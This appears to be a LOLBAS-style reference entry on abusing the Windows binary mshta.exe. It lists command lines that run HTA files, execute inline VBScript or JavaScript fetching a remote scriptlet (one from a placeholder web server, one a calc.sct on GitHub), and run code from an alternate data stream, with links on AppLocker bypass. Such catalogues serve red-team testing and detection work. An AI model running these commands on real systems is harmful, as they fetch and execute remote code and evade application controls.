mshta.exe.md

mshta.exe

• Functions: Execute, Read ADS

mshta.exe evilfile.hta
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
Executes VBScript supplied as a command line argument.

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
Executes JavaScript supplied as a command line argument.

mshta.exe "C:\ads\file.txt:file.hta"
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

• Resources:

  • https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
  • https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
  • https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
  • https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
  • https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

• Full path:

  • C:\Windows\System32\mshta.exe
  • C:\Windows\SysWOW64\mshta.exe

• Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe